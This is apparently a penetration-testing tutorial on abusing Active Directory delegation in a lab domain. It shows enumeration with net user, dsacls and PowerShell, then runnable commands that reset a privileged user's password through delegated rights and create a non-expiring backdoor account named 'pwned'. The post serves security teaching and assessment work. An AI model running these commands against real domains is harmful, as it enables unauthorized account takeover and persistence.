Active Directory Delegation and Manual Analysis

In many well secured environments you’ll probably find that the classic target groups of “Domain Admins” and “Enterprise Admins” are sparsely populated, and the accounts are used when only deemed necessary, or in dire emergencies. More often than not Active Directory delegation is utilised*. In this brief post, we’ll demonstrate some of the manual methods that can be used to enumerate such environments and why this is an important aspect of a Windows pentest.

*https://technet.microsoft.com/en-us/library/2007.02.activedirectory.aspx

To speed things up we’ll assume that we have previously compromised user named Robert Smith, from hereon in “Bob”, and we have access to his domain joined host (although not necessarily required), as well as an attacking Windows host that we own/have admin privileges on.

Let’s start with a bit of basic enumeration from Bob’s domain connected host.

net user bob /domain
The request will be processed at a domain controller for domain nss.local.

User name                      bob
Full Name                      bob
Comment
User's comment
Country/region code            000 (System Default)
Account active                 Yes
Account expires                Never

Password last set              01/12/2016 16:29:25
Password expires               Never
Password changeable            02/12/2016 16:29:25
Password required              Yes
User may change password       Yes

Workstations allowed           All
Logon script
User profile
Home directory
Last logon                     01/12/2016 17:03:53

Logon hours allowed            All

Local Group Memberships
Global Group memberships      *Domain Users        *some_privs

Some key take away notes; Bob is a member of a group named “some_privs” and the domain seems to be nss.local. Let’s also just check that this “some_privs” group isn’t a nested group within local administrators.

net localgroup  administrators
Alias name      administrators
Comment         Administrators have complete and unrestricted access to the computer/domain

Members
-------------------------------------------------------------------------------
Administrator
default
NSS\Domain Admins
NSS\loadsa_privs

OK, so we’re not a local admin, but a member group named “loadsa_privs” would have these permissions. We’ll keep our eyes open for such a target.

Before we start, we need some basic information about the environment. We could use the PowerShell Active Directory Cmdlets (making an appearance shortly) or we could utilise standard built-in tools and do things the slow (but accessible) way from the domain joined host.
bob_gpresult
From this output we can see that Bob’s a member of the “Users” Organisational Unit (OU) that’s nested within Offices\London.

Now we have some idea of the OU layout, lets further enumerate this domain/OU structure. For this we’re going to experiment with the PowerShell ActiveDirectory module. You’ll need to grab a copy of the RSAT applicable for your OS, in this example we have a Win10 attacking host.

Once the tools have been installed we can import the Active Directory module.
import_error
Not a great start. Our attacking host isn’t part of the victim domain, so a Domain Controller can’t be found. Let’s disable loading of the default AD drive when we import this module*.

*https://blogs.msdn.microsoft.com/adpowershell/2010/04/12/disable-loading-the-default-drive-ad-during-import-module/

$Env:ADPS_LoadDefaultDrive = 0
Import-Module ActiveDirectory

Now we can use PowerShell with the -server switch to communicate with the target DC. Let’s get a listing of Organizational Units.

Get-ADOrganizationalUnit -Filter * -SearchBase "dc=nss,dc=local" -Properties canonicalname -server 192.168.12.100 -Credential "nss\bob" | select canonicalname

ou_list_cond
All of this information aids in building a picture of the target environment. From earlier reconnaissance activities, we found that /Offices/London/Users existed, but now we see different custom OU’s have been created for specific geographical locations, each with their own specific Users and Computers OUs.

Let’s have a look at the permissions relating to the ‘top-level’ Offices OU as well as the Office/London/Users OU (as this is where Bobs account is situated) to see if anything interesting is to be found.

Firstly, grab dsacls.exe from the Windows 2003 support tools* - yes, it can run on Win10 x64.

* https://www.microsoft.com/en-us/download/details.aspx?id=15326

Now to run dscals.exe from the domain joined host. As per https://technet.microsoft.com/en-us/library/cc771151(v=ws.11).aspx – “…If you specify an object without additional parameters, dsacls displays the ACEs in the ACL…”

Firstly, lets run this tool on the ‘top-level’ Offices OU (output redacted to only show the mentioned group name for ease of reference).

dsacls.exe "ou=offices,dc=nss,dc=local" > offices-out.txt

Effective Permissions on this object are:
Allow NSS\loadsa_privs   SPECIAL ACCESS for computer <Inherited from parent>
                         CREATE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for inetOrgPerson <Inherited from parent>
                         CREATE CHILD
                         DELETE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for user <Inherited from parent>
                         CREATE CHILD
                         DELETE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for gPLink <Inherited from parent>
                         WRITE PROPERTY
                         READ PROPERTY

Allow NSS\loadsa_privs   SPECIAL ACCESS for gPOptions <Inherited from parent>
                         WRITE PROPERTY
                         READ PROPERTY

Allow NSS\loadsa_privs Generate Resultant Set of Policy (Planning) <Inherited from parent>
Allow NSS\loadsa_privs Generate Resultant Set of Policy (Logging) <Inherited from parent>

Permissions inherited to subobjects are:
Inherited to all subobjects
Allow NSS\loadsa_privs   SPECIAL ACCESS for computer <Inherited from parent>
                         CREATE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for inetOrgPerson <Inherited from parent>
                         CREATE CHILD
                         DELETE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for user <Inherited from parent>
                         CREATE CHILD
                         DELETE CHILD

Allow NSS\loadsa_privs   SPECIAL ACCESS for gPLink <Inherited from parent>
                         WRITE PROPERTY
                         READ PROPERTY

Allow NSS\loadsa_privs   SPECIAL ACCESS for gPOptions <Inherited from parent>
                         WRITE PROPERTY
                         READ PROPERTY

Allow NSS\loadsa_privs Generate Resultant Set of Policy (Planning) <Inherited from parent>
Allow NSS\loadsa_privs Generate Resultant Set of Policy (Logging) <Inherited from parent>

Inherited to computer
Allow NSS\loadsa_privs   FULL CONTROL <Inherited from parent>

Inherited to user
Allow NSS\loadsa_privs   FULL CONTROL <Inherited from parent>

Inherited to group
Allow NSS\loadsa_privs   SPECIAL ACCESS for Add/Remove self as member <Inherited from parent>
                         WRITE PROPERTY
                         READ PROPERTY

Interestingly, the group “loadsa_privs” seems to have quite a few rights on the “Offices” OU (an aptly named group). However, Bob isn’t a member of this group and there isn’t any mention of the group “some_privs” or Bob’s account within the output.

Let’s perform the same check on the Offices/London/Users OU (output redacted to only show the mentioned group name for ease of reference).

dsacls.exe "ou=users,ou=london,ou=offices,dc=nss,dc=local" > users-london-out.txt

Inherited to user
Allow NSS\some_privs   SPECIAL ACCESS for pwdLastSet <Inherited from parent>
                       WRITE PROPERTY
                       READ PROPERTY

Allow NSS\some_privs   Reset Password <Inherited from parent>

The group “some_privs” does seem to have some control over the nested “Users” OU, specifically permissions relating to password management by the look of things. Remember, Bob is a member of this group.

Let’s see if other accounts exist within the Offices/London/Users OU.

Get-ADUser -SearchBase “ou=users,ou=london,ou=offices,dc=nss,dc=local” -Filter * -server 192.168.12.100 -Credential "nss\bob" | Select Name,SamAccountName

nerw_accounts
Excellent, some more users we can investigate. Remember, we have been delegated the powerful “Reset Password” permission.

Let’s return to our domain joined host and see what permissions some of these users hold.

net user julie /domain
The request will be processed at a domain controller for domain nss.local.

User name                    julie
Full Name                    julie
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            01/12/2016 16:31:06
Password expires             Never
Password changeable          02/12/2016 16:31:06
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships    *Domain Users      *loadsa_privs

Interesting. Julie is a member of “loadsa_privs” which is a nested group within the local administrators group (not pushed by GPO) and, from the earlier dsacls output, we know this group has many delegated permissions higher up in the domain tree. So, what can we do from here? Let’s try to reset Julie’s password.

Set-ADAccountPassword 'cn=julie,ou=users,ou=london,ou=offices,dc=nss,dc=local' -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd" -Force) -Server 192.168.12.100 -Credential "nss\bob"

Returning to the domain joined box for a quick sanity check; let’s make sure we’ve been successful in changing the password for Julies account.
run_ad
Remember, this account is a local admin (bonus), but what we’re really interested in are the delegation rights that Juile has. To test these, we’ll attempt to add a new user ‘pwned’ to the domain. Just for reference, if we run this command as -Credential “nss\bob” we’ll receive an error such as: New-ADUser : Access is denied (as we may expect).

Let’s use Julie’s account to perform this action.

New-ADUser -SamAccountName pwned -Name "pwned" -AccountPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd" -Force) -Enabled $true -PasswordNeverExpires $true -Path "ou=offices,dc=nss,dc=local" -Server 192.168.12.100 -Credential "nss\julie"

And just to verify all went as expected.

Get-ADUser -SearchBase “ou=offices,dc=nss,dc=local” -Filter * -server 192.168.12.100 -Credential "nss\pwned" | Select Name,SamAccountName

pwned
Excellent, we have created a new user “pwned”. From here on in we have to use many of these same techniques to further enumerate and understand the access/rights Juile has elsewhere (if any) within the domain. For full disclosure the group “loadsa_privs” has been assigned the following rights on the nss.local domain” (tick boxes have been lit up like an Xmas tree!)
loadsa_privs_delegation_on_nss_local_domain- Update Jan 2017 -
After much more testing - mainly during development of the Advanced Infrastructure Hacking course for our Blackhat classes in 2017 - it would seem that Microsoft have actually thought about a scenario in which a relatively unprivileged user could potentially alter rights of privileged assets and existing mitigation's are in place. If an asset is a protected group (for example the Domain Admins group) then ACL’s will be copied from the AdminSDHolder container (this is accessible via ADSI Edit > DC=$yourdomain,DC=$yourdomain > CN=System > CN=AdminSDHolder) and inheritance will be disabled (assuming everything is in a default state). More information on this can be found here.

To view protected groups and users you can use the following commands:

Get-ADGroup –LDAPFilter “(admincount=1)”
Get-ADUser –LDAPFilter “(admincount=1)”

This means that even if custom AD Delegation ACL’s overwrite/conflict with the protected group, every 60 mins (by default) AD reapplies the correct ACL assignment. This behaviour can be disabled (not a great idea) by enabling inheritance of permissions on the object directly.

So although it’s worth checking to see if it is possible to manipulate privileged assets, in a default configuration it would not be possible to take this direct route to DA. As detailed within this post, we could create users and modify group memberships of other groups (depending on the delegation rights we have) and for example add our attacking account to potentially sensitive groups such as Finance, HR, or Development etc. Attacks could then be continued laterally within the network which could of course be just as devastating, depending on the data accessible to such groups and what’s deemed important to your business.

We’ve only scratched the surface here, but hopefully this has been an insight into the wonderful and complex word of Active Directory delegation and manual assessment techniques.